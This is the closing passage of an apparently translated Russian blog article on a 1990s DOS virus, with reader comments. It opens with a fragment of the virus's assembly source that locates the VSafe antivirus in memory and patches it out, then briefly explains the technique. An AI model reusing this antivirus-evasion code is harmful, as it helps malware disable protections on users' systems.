              MOV AX,DS                         ;<AX> <-- <DS>

              CMP BYTE PTR CS:[VSAFE_FLAG],1    ;1: Suchen 2: Setzen
              JB VSAFE_SUCH                     ;1 --> SUCHEN
              JA END01                          ;3 --> END01
;??????????????????????????????????????????????????????????????????????????????
              CMP WORD PTR CS:[VSAFE_SEG],AX    ;Nich im selben SEG?
              JNE END01                         ;NEE --> END01

              CMP WORD PTR DS:[BX],0FF2EH       ;Relativer FAR_JMP?
              JNE END01                         ;NEIN --> END01
              CMP BYTE PTR DS:[BX+2],02EH       ;Relativer FAR_JMP?
              JNE END01                         ;NEIN --> END01
;??????????????????????????????????????????????????????????????????????????????
              MOV SI,WORD PTR CS:[VSAFE_OFS]    ;START_OFS von VSAFE
              MOV BX,WORD PTR DS:[BX+3]         ;[JMP_ZIEL_ADR] --> <BX>
              MOV CX,WORD PTR DS:[BX+2]         ;JMP_ZIEL_SEG --> <AX>
              CMP CX,AX                         ;JMP_ZIEL_SEG=VSAFE_SEG?
              JE END01                          ;JA --> END01
              MOV WORD PTR DS:[SI+3],CX         ;SEG vom DIRECT_FAR_JMP setzen
              MOV CX,WORD PTR DS:[BX]           ;JMP_ZIEL_OFS --> <AX>
              MOV WORD PTR DS:[SI+1],CX         ;OFS vom DIRECT_FAR_JMP setzen
              MOV BYTE PTR DS:[SI],0EAH         ;DIRECT_FAR_JMP
              MOV BYTE PTR CS:[VSAFE_FLAG],3    ;Alles erledigt!
              JMP END01                         ;END01
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
;??????????????????????????????????????????????????????????????????????????????
VSAFE_SUCH:   CMP WORD PTR CS:[VSAFE_SEG],AX    ;SEG_ÄNDERUNG im Code ?
              JE SUCH_SEG                       ;NEIN --> SUCH_SEG
              MOV WORD PTR CS:[VSAFE_OFS],BX    ;ZIEL_OFS neu setzen
              MOV WORD PTR CS:[VSAFE_SEG],DS    ;ZIEL_SEG neu setzen

SUCH_SEG:     CMP WORD PTR DS:[BX],0FC80H       ;"CMP AH,x" ?
              JNE END01                         ;NEIN --> END01
              CMP BYTE PTR DS:[BX+2],0FAH       ;"CMP AH,0FA" ?
              JNE END01                         ;NEIN --> END01

              MOV BYTE PTR CS:[VSAFE_FLAG],1    ;VSAFE gefunden
;??????????????????????????????????????????????????????????????????????????????
END01:        POPF                              ;Register restaurieren
              POP DS                            ;   "          "
              POP SI                            ;   "          "
              POP CX                            ;   "          "
              POP BX                            ;   "          "
              POP AX                            ;   "          "
              POP BP                            ;   "          "
;??????????????????????????????????????????????????????????????????????????????
              IRET                              ;INT beenden
;??????????????????????????????????????????????????????????????????????????????
  NEU01       ENDP
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

Обнаружив VSafe TSR, обработчик INT 01h вируса анализировал пути выполнения функций INT 21h «determination of the MS‑DOS version» и INT 13h «checking the system disk»s status», отслеживая изменения в сегменте кода (CS) процессора во время этих вызовов. Сопоставив эти изменения с пониманием вирусописателями общего функционирования INT 21h и INT 13h и специфического поведения, а также специфического поведения перехватчиков VSafe TSR, вирус определял, как модифицировать находящийся в памяти код VSafe, предотвращая его активацию. В результате вирус мог обойти защитные механизмы VSafe TSR, гарантируя незаметность своей дальнейшей активности.

Вот такая получилась история. Спасибо за внимание!

Комментарии (10)


  1. densss2
    19.08.2024 13:07
    +5

    Это точно школьники писали?


    1. xvitamin
      19.08.2024 13:07
      +3

      Зашел чтобы написать тот же вопрос!

      В те времена имел примерно тот же уровень оборудования, примерно тот же возоаст (лет 15 - ну и конечно не 12лет), так же пытался найти онфо где только можно (имел книг штук 10, и скупал все журнвлы типа мир пк и все что тока можно). Итог! Если на бейстке паскале и начинающемся си еще что то можно было найти и написать, то намучив 5 имеющихся книг по ассемблеру и программированю процессора 8086 - результат к сожалению был нулевой!

      Вы конечно скажите что просто я тупой... Но на тот момент я был богом, но с асмом был ппц (

      Где пацаны нашли мануалы с практическим применением асма хз. Кроме футбола по регистрам, сдвигам, маскам и хрен знает как применимым прерываниям, в книгах не было ничего!

      Еще интересно, что слово библиотека, все же стало появляться чуть позже, и на ранних стадиях проги были монолитные одним файлом это раз, и имели внутри себы функции и процедуры но не библиотеки это два.

      Предположу что данным проектом занималось некое бюро спец служб, и включало в себя 5-10 человек имевших толстые мануалы и огромный опыт и структурированные мозги, ибо школота так структурировать задачи и их реализацию не смогла бы в принципе


      1. densss2
        19.08.2024 13:07

        В тексте четыре раза упоминаются недокументированные функции. У меня вопрос: откуда школьники, в условиях крайнего недостатка информации, могли узнать о нескольких недокументированных функциях?


        1. DGG
          19.08.2024 13:07
          +1

          На BBSке информацию нашли - об этом есть в тексте.

          И недокументированная - это в смысле в официальной документации не документированные. В DOS и процессорах того времени было куча всего официально не документированного, но отраженного в каждом втором учебнике.


    1. nick758
      19.08.2024 13:07
      +2

      В оригинале: " The story begins in the early 1990s, with both in their late teens..."

      Из интернетов: "The late teens generally refer to the ages of 18 and 19. So the "late teens" start at age 18."

      То есть им было не 11, где-то 18.


  1. igorp1024
    19.08.2024 13:07

    1992-й год, два школьника практически без доступа к документации, написали вирус, который кроме COM, ещё умел править таблицу смещений в EXE... Знали, что антивирусы ищут вирусы по сигнатуре и предприняли ряд действий в этом отношении... Да это ещё полиморф!.. Да Dark Avenger (человек, автор семейства одноимённых вирусов) просто меркнет по сравнению с ними!..
    Точно не нейросетевое творчество с доработками человеком?


    1. sgenie
      19.08.2024 13:07

      Могу поверить, что написали школьники - сам этим развлекался в 90-94х... Но очень уж структурно чисто все... Может быть, конечно, позже переписали набело?


  1. Aggle
    19.08.2024 13:07

    С помощью виртуализации, найденного старого оборудования, адаптеров для современных компьютеров и какой‑то там матери мне удалось успешно восстановить исходный код вируса, даже сохранив временные метки оригинальных файлов.

    Интересно, как пассаж про "какую-то там матерь" выглядел в оригинале?


  1. WRP
    19.08.2024 13:07

    Это не школьники, а гении какие-то .


    1. Player17
      19.08.2024 13:07

      С доступом к никому не известной информации. Шпионы какие-то.